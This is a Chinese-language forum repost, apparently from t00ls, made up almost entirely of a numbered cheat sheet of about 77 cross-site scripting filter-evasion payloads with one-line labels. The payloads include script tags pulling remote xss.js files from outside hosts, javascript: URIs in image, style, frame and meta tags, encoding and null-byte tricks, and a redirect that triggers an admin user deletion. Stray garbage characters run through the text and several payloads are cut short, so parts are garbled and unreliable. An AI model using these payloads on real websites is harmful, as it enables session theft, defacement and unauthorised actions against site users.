貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。3 V% j) e: M8 U
(1)普通的XSS JavaScript注入
4 ~/ L9 K3 n+ J% n" O: c+ {<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>( ^7 |9 t) `( q0 u8 i. g# Q+ [
(2)IMG标签XSS使用JavaScript命令) |0 g! _3 j5 V, w# C% D& v
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>' C( f6 \% U4 g8 f: O! E8 {* j
(3)IMG标签无分号无引号+ }; B/ F& ^, ?# A, |% P8 |- p' }
<IMG SRC=javascript:alert(‘XSS’)>
* m8 l2 T1 x0 d5 H+ @* I q9 [# @ W(4)IMG标签大小写不敏感4 w$ y ?: K4 z, w! _
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>; l: n/ ~* x: Y2 |- R$ C8 T
(5)HTML编码(必须有分号), {. s. f+ a# x& d# @
<IMG SRC=javascript:alert(“XSS”)>% a2 J4 P8 S3 l' L
(6)修正缺陷IMG标签
- L3 J* h4 t; R% d/ ]" K<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>. `; E% [" M4 q+ a+ g
) |! x, O* S8 i! B5 u! x
0 g' R: q/ ?) c! Y- g(7)formCharCode标签(计算器)$ c3 c7 p( Z$ U5 |% z5 b
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
% u% ^% S# h N/ ?) |" y(8)UTF-8的Unicode编码(计算器)
+ T" `& q- [6 y9 c0 p5 q- P<IMG SRC=jav..省略..S')>, ]* S- M5 i- D6 R9 g2 s+ `% B
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)7 q5 E7 E( }/ L# p/ \, ]- u
<IMG SRC=jav..省略..S')>& u: B: w1 o2 K8 J2 v
(10)十六进制编码也是没有分号(计算器)
; J; v( w3 x5 Y5 j<IMG SRC=java..省略..XSS')>
6 W" W$ O# e9 f(11)嵌入式标签,将Javascript分开
5 j8 ~+ {; f1 b7 N* c- c! Z3 ~<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ f7 D: y0 l: Y- z(12)嵌入式编码标签,将Javascript分开0 e9 Y+ ?( P* P, t- r
<IMG SRC=”jav ascript:alert(‘XSS’);”>
I; a0 B* X1 H* C- `' ~7 |, u(13)嵌入式换行符
" I' r' z _ z) B6 g<IMG SRC=”jav ascript:alert(‘XSS’);”>" Z- c$ W4 A, h1 ^/ M) v
(14)嵌入式回车$ v5 |; N2 {( F( T- o0 ]
<IMG SRC=”jav ascript:alert(‘XSS’);”>% E( H6 |4 e9 c) D
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
1 ^# K3 i* y# X" }* H- V8 h% G<IMG SRC=”javascript:alert(‘XSS‘)”>
" h0 }0 u8 _- H1 @& s(16)解决限制字符(要求同页面)
6 k; |+ ~' F2 D% I5 u<script>z=’document.’</script>6 }3 T6 w2 l& \6 E
<script>z=z+’write(“‘</script># L- f5 l7 U1 }* \
<script>z=z+’<script’</script>6 c X ]3 w' r8 ?* i7 Z
<script>z=z+’ src=ht’</script>
- a$ P0 J- r1 E" P+ l( A( a/ _6 f v& H, u<script>z=z+’tp://ww’</script>
& t# Z- C; P$ e5 U& B' ~<script>z=z+’w.shell’</script>7 i1 }' I! @! l
<script>z=z+’.net/1.’</script>
4 \0 X7 j+ w3 l7 j9 q) g o6 S<script>z=z+’js></sc’</script>( [: n: F1 H& _0 _8 h
<script>z=z+’ript>”)’</script>
; F7 w+ d3 }) F* i5 K+ k8 B: m% e<script>eval_r(z)</script>% C0 K9 G: H' S, E4 i
(17)空字符12-7-1 T00LS - Powered by Discuz! Board9 K2 G1 J2 U8 v; O, E6 g
https://www.t00ls.net/viewthread ... table&tid=15267 2/6; V" a, q* V* x3 `) L
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
+ x7 t( y; ]) _* A5 ? `& A7 j(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用. i- e3 |) w7 p6 i, ~6 Q( w! m
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out& b1 D; t- A% ]! q. {1 R
(19)Spaces和meta前的IMG标签
) o, x$ ~8 s# A<IMG SRC=” javascript:alert(‘XSS’);”>6 d9 g5 c4 E/ b8 j
(20)Non-alpha-non-digit XSS
$ p/ g( u* G( X1 h- d" q$ O<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>+ j1 N, p) c' }8 X9 H
(21)Non-alpha-non-digit XSS to 2. G g. q/ F. J+ f8 _( A
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>; F0 B" J5 g9 F+ T$ X1 t* [
(22)Non-alpha-non-digit XSS to 39 g; S: h9 f, Z9 H/ s8 K
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
7 n6 C( K9 b! O0 |) Q(23)双开括号
[5 f/ \1 K! t, q; `! F8 E/ ~<<SCRIPT>alert(“XSS”);//<</SCRIPT>1 r6 Q, ~: ?; p+ ~5 D& `8 N
(24)无结束脚本标记(仅火狐等浏览器)
! Z5 a- |# X; O<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
6 f7 }2 C3 h9 \$ g1 x+ K(25)无结束脚本标记2
8 u) g$ P9 r4 F3 E- ~9 ? N$ @2 C<SCRIPT SRC=//3w.org/XSS/xss.js>
1 ^" o% p2 [) S- G, _9 Y2 }(26)半开的HTML/JavaScript XSS
/ s# m' b+ J) U. f8 D" U' Y<IMG SRC=”javascript:alert(‘XSS’)”
* A, E9 x+ i# ?1 @. J5 Q& C(27)双开角括号
7 _) C }. M6 ] y; ]+ z4 @<iframe src=http://3w.org/XSS.html <
8 l p9 f6 s' H6 n. m+ I! u) H7 v(28)无单引号 双引号 分号4 ~& W' ?/ v3 `$ j9 K( n8 L" _- V
<SCRIPT>a=/XSS/( U; ^, {. e* S4 z4 y6 ~ x
alert(a.source)</SCRIPT>
( Q; K t5 p8 V7 Y(29)换码过滤的JavaScript
5 D7 q8 s3 n( y3 L\”;alert(‘XSS’);// n- L3 i1 I2 | u; n* v; I
(30)结束Title标签( @" W* w( T( P
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>% e! u3 w$ I: G7 d+ C0 j& f
(31)Input Image
5 |4 k0 b w3 Y. v; G<INPUT SRC=”javascript:alert(‘XSS’);”>
+ o ^( R! e, A' ~2 K. v& o" M(32)BODY Image1 x; R" O+ c2 f; s0 t( u
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>5 G+ ~8 M: o8 G# I% W
(33)BODY标签. Y$ g1 E+ g/ t' n; i0 Z1 R
<BODY(‘XSS’)>7 j a/ ]$ G" a$ B! u2 h
(34)IMG Dynsrc
& x1 {( g. N" s; W<IMG DYNSRC=”javascript:alert(‘XSS’)”>7 {6 w* k) Y% L, i1 `
(35)IMG Lowsrc
7 O8 z/ ^ s1 W2 U- l6 ]: m- `* {<IMG LOWSRC=”javascript:alert(‘XSS’)”>
% Z' h, f" u6 K* Y, k(36)BGSOUND9 L+ n* Z D, B. P& w+ J7 [ }
<BGSOUND SRC=”javascript:alert(‘XSS’);”>" |: I7 T/ ?1 g- b) K
(37)STYLE sheet
) O e% e+ [% y9 w<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>( v! `8 E7 D# l9 z1 Y. A/ E
(38)远程样式表9 z0 @/ T& h& h1 K7 F
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>1 F: G8 K* n. ?' q% g% p6 w
(39)List-style-image(列表式)& k! h- B. D! T0 l1 q
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
( G6 q! h# c- v1 t! L(40)IMG VBscript: u5 [# ]: |; D
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
- j& _3 F$ A: m9 j3 y(41)META链接url
' e1 R) D( v# {+ \& e4 ^3 _# N5 T" `
1 k0 C& o5 U5 [6 L& F( l6 a. `<META HTTP-EQUIV=”refresh” CONTENT=”0;6 Y, ?) B3 `7 h' A4 n0 |( n
URL=http://;URL=javascript:alert(‘XSS’);”>6 d4 f: T, K+ M. ?0 r/ _3 Y, H
(42)Iframe
/ l8 C+ z$ X- F; P) o! J<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>" m( a. }7 D) d
(43)Frame
/ p( i3 V- k0 x8 H* g<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board" }( _' \! S9 j* W
https://www.t00ls.net/viewthread ... table&tid=15267 3/60 v* ~! }' `- E2 N( H7 N, J9 m
(44)Table
! K: ? h% I2 ?0 w+ N; q<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
4 A- M3 M) d7 ~6 H3 ~) G i- g(45)TD
/ ]% i# B* P' e4 j0 V/ J<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
' F: S# a6 ~6 {% Y0 k2 D, ?5 Q(46)DIV background-image
, B2 o% ~) @+ u<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>* }: F7 p+ j( x/ p- R0 E) q- x
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-6 h# W3 a) p( P# [/ v! I
8&13&12288&65279)
D! `# E$ Y6 x) \<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>0 c D) m4 W2 k7 O
(48)DIV expression) f: U* O7 P8 l5 z
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
) V$ K' r& N) C3 `$ d: k7 l6 H(49)STYLE属性分拆表达
5 J. P" O& n* u7 J$ a' }/ V; w<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
: M) `( v+ X6 p P3 i(50)匿名STYLE(组成:开角号和一个字母开头)+ H: X2 a( H8 ^; @, k# U
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
* R o' E# c& K! ~" @4 m9 l/ ?(51)STYLE background-image, b3 k2 u2 L, t4 M4 q- \, M; e( J# P3 Y
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A5 e: F! v6 n. Z1 i2 b& ^
CLASS=XSS></A>
/ ` X- m: w% w- z+ F1 I(52)IMG STYLE方式1 M' p0 y( S5 S
exppression(alert(“XSS”))’>+ H( x- i e3 O# E; L2 s* [
(53)STYLE background4 f, e' _" D& [
<STYLE><STYLE
& B$ [' v O+ @ k1 r2 Ctype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE># {( k* {, Q0 ~8 p! ]
(54)BASE6 R$ i& q7 C3 r' l3 X* Y# `# H
<BASE HREF=”javascript:alert(‘XSS’);//”>! }) z; E; \. G# @ c9 f
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
6 P$ l# p8 D3 C$ A' o/ h<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
% i0 O' W- P7 c6 ~3 M* u) v, ](56)在flash中使用ActionScrpt可以混进你XSS的代码: a) k, W+ \9 }9 I8 r7 s% t/ S! B
a=”get”;0 r& z% S! i; { ^
b=”URL(\”";" d k( n" C0 r" x
c=”javascript:”;& ?1 y5 ^0 w5 j3 G- S- h
d=”alert(‘XSS’);\”)”;. ^2 V! u2 O" m. ]: @
eval_r(a+b+c+d);
; I6 O1 ], V+ [(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
9 r8 d2 @$ M d4 J( z<HTML xmlns:xss>
# ?! x- ~0 W8 S' \. X/ Y<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
$ B- I7 @. H" {& U5 b2 ~<xss:xss>XSS</xss:xss>
: K" R" ^/ h% m6 M1 \</HTML>
. t9 ?0 `) |! Q& q- }4 M) G(58)如果过滤了你的JS你可以在图片里添加JS代码来利用2 v, L& |4 y6 t9 O! a6 ~: P! Y
<SCRIPT SRC=””></SCRIPT>" n! N6 F D+ }+ n. I
(59)IMG嵌入式命令,可执行任意命令
3 R/ L2 g" `: Q0 X2 i<IMG SRC=”http://www.XXX.com/a.php?a=b”>" ^5 V8 a; x# `! h% x H0 _$ K y
(60)IMG嵌入式命令(a.jpg在同服务器)6 v: d5 e% i5 \ d$ n
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser h" g/ ^3 B: @+ w. W# {
(61)绕符号过滤/ C8 I2 Q8 G5 A* a1 l
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
O8 Y, j R; ?, `& J(62)6 m/ U! y; d' `* [* W2 s
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
; G0 t! x) s' r" D8 s1 `(63) ?- r, e) f# ?, P' m6 w5 ^- e
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
9 y B7 @! @* m' r) L. ?) |: i(64). R8 D6 P5 ]# h% H+ p3 g2 M! N
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT># H" W& L' `0 x& Q# ?
(65)5 B+ A2 R# `6 N" N; ?8 @
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
( w6 a, H" Q: \(66)12-7-1 T00LS - Powered by Discuz! Board
+ Z+ ~: h2 y& K. ?6 `9 I+ j Zhttps://www.t00ls.net/viewthread ... table&tid=15267 4/61 V: t% B# @' J( z6 |
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
0 l' q) S* n7 Y: R+ c `4 m, T; ^: a(67)& D5 |4 u" B1 B! }& v$ Q: p' Q
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
4 h: V) d2 d, c2 U7 B6 ~</SCRIPT>$ A2 \2 ~" g. u* n, n
(68)URL绕行
. {7 l( V/ z7 M) {<A HREF=”http://127.0.0.1/”>XSS</A>
# l K+ [9 [6 @' ?7 k4 A(69)URL编码
# B% C/ V, k9 C' h9 K! `# w6 O<A HREF=”http://3w.org”>XSS</A>
1 ?' K- o1 f+ X* s( m(70)IP十进制
% O) X% b- E' q# L& R# {<A HREF=”http://3232235521″>XSS</A>
4 |6 R/ |# D7 V! o/ {" P: Y- V(71)IP十六进制" n- r' a- G1 k6 Q
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
2 e' i6 h* s/ Y7 g6 p$ Y- \6 _- K(72)IP八进制- |8 e' V$ [! W3 s [/ P0 C
<A HREF=”http://0300.0250.0000.0001″>XSS</A>* X5 j+ u! \9 [0 g# z* |4 k0 u
(73)混合编码; z3 r: @" g3 H8 `7 d) f8 z
<A HREF=”h
. L. f. v; G1 w* b# A3 `tt p://6 6.000146.0×7.147/”">XSS</A>; b0 Q7 g6 B9 a$ f8 p+ G5 g
(74)节省[http:] l& J( U( R; i7 D
<A HREF=”//www.google.com/”>XSS</A>& y1 C& w. l* ?- l* _; b
(75)节省[www]
8 H. W3 ~1 g1 _# r<A HREF=”http://google.com/”>XSS</A>
/ a4 ?6 L1 r4 o3 C( G" G* f& W(76)绝对点绝对DNS( l1 B* j5 T) r& S! M* n
<A HREF=”http://www.google.com./”>XSS</A>( \7 D, Y+ P9 k
(77)javascript链接. S' K9 @; l: ]; e+ q. m1 o
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>5 G1 z: O8 V& y$ ]
9 M: h/ q$ r U1 |" \2 S! B w
原文地址:http://fuzzexp.org/u/0day/?p=14
# t( X3 {0 k; H! [1 S f4 r$ }$ y2 l [: @- n0 L$ \! L& f
|